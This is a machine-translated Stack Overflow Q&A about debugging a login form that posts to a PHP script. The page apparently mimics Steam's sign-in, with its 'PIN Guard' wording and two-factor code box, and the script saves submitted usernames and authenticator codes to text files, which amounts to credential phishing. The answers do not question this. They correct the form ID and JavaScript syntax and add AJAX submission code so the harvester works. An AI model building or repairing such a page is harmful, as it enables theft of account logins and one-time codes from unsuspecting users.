2017-08-05 60 views
1

所以我有這個表單。我現在的方式是用戶將輸入他們的用戶名和密碼,然後單擊登錄(身份驗證引腳被隱藏),直到單擊登錄按鈕,顯示div並且用戶將輸入他們的驗證引腳。我遇到的問題是,不管是什麼我提交到文本框,沒有被提交到我的PHP腳本,我這裏有:提交表單到php腳本的問題

<?php 
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("..."); 
$txt = $_POST['username'] . ':' . $_POST['authcode']; 
fwrite($myfile, $txt); 
fclose($myfile); 
echo "LOREM IPSUM:("; 
?> 

<!DOCTYPE html> 
    <form action="/loginaction.php" method="post" name="submit"> 
    <input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();"> 
      <div class="mainLoginLeftPanel_signin"> 
       <label for="userAccountName">username</label><br> 
       <input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br>&nbsp;<br> 
       <label for="userPassword">Password</label><br> 
       <input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br> 
       <div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div> 
       <div class="checkboxContainer"> 
       <div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select &quot;Logout&quot; from the account menu. This feature is only available to PIN Guard enabled accounts."> 
       <input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br> 
        </div> 
       </div> 
      </div> 

    <div class="modal_buttons" id="login_twofactorauth_buttonsets"> 
     <div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style=""> 
      <button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();"> 

       <div class="auth_button_h3">submit</div> 
       <div class="auth_button_h5">my authenticator code</div></button></div></div> 

     <div class="twofactorauthcode_entry_area"> 
     <div id="login_twofactor_authcode_entry"> 
      <div class="twofactorauthcode_entry_box"> 
       <input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/> 
      </div> 
     </div> 
     <div id="login_twofactor_authcode_help_supportlink" style="display: none;"> 
      <a href="#"> 
       Contact Support for help with account access    </a> 
     </div> 
    </div> 

    </form> 
</head> 

格式的名稱都輸入正確和我有操作設置爲正確的腳本,但是當我檢查生成的文本文件時沒有輸入。我希望提交驗證PIN的按鈕提交所有3個細節(用戶,密碼,授權碼)和登錄按鈕的形式以取消隱藏驗證分區(工作正常)。任何幫助,將不勝感激。

JavaScript函數提交表單是

<script type="text/javascript"> 
function() submitForms{ 
document.getElementById("submit").submit(); 
document.getElementById("submit").action = "/loginaction.php"; 
} 

https://jsfiddle.net/jxd0g2z4/

+0

函數'submitForms()'在哪裏定義? –

+0

我將立即更新我的代碼。 –

+0

看起來您的PHP可能會被終止,如果文件無法打開。你可以嘗試用那個打開文件的部分提交嗎? –

回答

3

了ID爲「提交」形式的函數調用,但你的形式不具有ID標籤。它只有一個名稱標籤。您可以添加標籤或更改選擇器。

<form action="/loginaction.php" method="post" name="submit" id='submit'>

你不應該需要定義動作如果已經在HTML,但如果你這樣做是需要來提交函數調用之前。

我剛纔注意到的另一個錯誤是定義了submitForms函數的語法。函數名後括號屬於如下:

<script type="text/javascript"> 
function submitForms(){ 
    document.getElementById("submit").action = "/loginaction.php"; 
    document.getElementById("submit").submit(); 
} 

這也有可能是在年底的</head>標籤可以扔的東西了。下面是我複製html和javascript以確保它通過的圖像。

enter image description here

<!DOCTYPE html> 
<html> 
<head> 
<script type="text/javascript"> 
function submitForms(){ 
    document.getElementById("submit").action = "/loginaction.php"; 
    document.getElementById("submit").submit(); 
} 
</script> 
</head> 
<body> 
    <form action="/loginaction.php" method="post" name="submit"> 
    <input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();"> 
      <div class="mainLoginLeftPanel_signin"> 
       <label for="userAccountName">username</label><br> 
       <input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br>&nbsp;<br> 
       <label for="userPassword">Password</label><br> 
       <input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br> 
       <div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div> 
       <div class="checkboxContainer"> 
       <div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select &quot;Logout&quot; from the account menu. This feature is only available to PIN Guard enabled accounts."> 
       <input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br> 
        </div> 
       </div> 
      </div> 

    <div class="modal_buttons" id="login_twofactorauth_buttonsets"> 
     <div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style=""> 
      <button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();"> 

       <div class="auth_button_h3">submit</div> 
       <div class="auth_button_h5">my authenticator code</div></button></div></div> 

     <div class="twofactorauthcode_entry_area"> 
     <div id="login_twofactor_authcode_entry"> 
      <div class="twofactorauthcode_entry_box"> 
       <input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/> 
      </div> 
     </div> 
     <div id="login_twofactor_authcode_help_supportlink" style="display: none;"> 
      <a href="#"> 
       Contact Support for help with account access    </a> 
     </div> 
    </div> 

    </form> 
</body> 
</html> 
+0

我將表單更改爲正確的ID,但是沒有任何內容輸出到我的文本文件中。 –

+0

我從函數中刪除了該動作。當我檢查輸出文件時,所有顯示的都是分號,這是否意味着我的表單沒有被正確提交? –

+0

對不起,該功能沒有正確定義之前。語法錯了。我在這裏添加了代碼。 –

0

不知道如果我的問題吧,但對我來說,它看起來像,這將是一個有點難以爲您解決。 我建議只加載第一個表單,這個表單是用ajax發送給一個php文件,它做你需要做的(寫入文件),並回答一個新的html代碼,你應該用原始加載的html代碼替換它。在這裏你會發送第二個表格。 在這裏,您可以再次發送相同的文件,如果出現錯誤。

編輯

如果您有jQuery的加載,您可以使用此功能。您的表單只需要一個類別標記即可激活它,如:

<form action="yourfile.php" id="myForm" class="ajax-form"> 

比這個表單在提交時會激活該功能。

$(".ajax-form").submit(function(e) { 
    e.preventDefault(); 
    var form = $(this); 
    var formID = form.attr('id'); 
    $.ajax({ 
     context: this, 
     async: true, 
     type: "post", 
     url: form.prop('action'), 
     data: form.serialize(), 
     dataType: "html", 
     success: function(datavalues) { 
      $('#'+formID).replaceWith(datavalues); 
     }, 
     error: function(json) { 
      console.log('ARMAGEDDON!!!'); 
     }, 
    }); 
     return false; 
});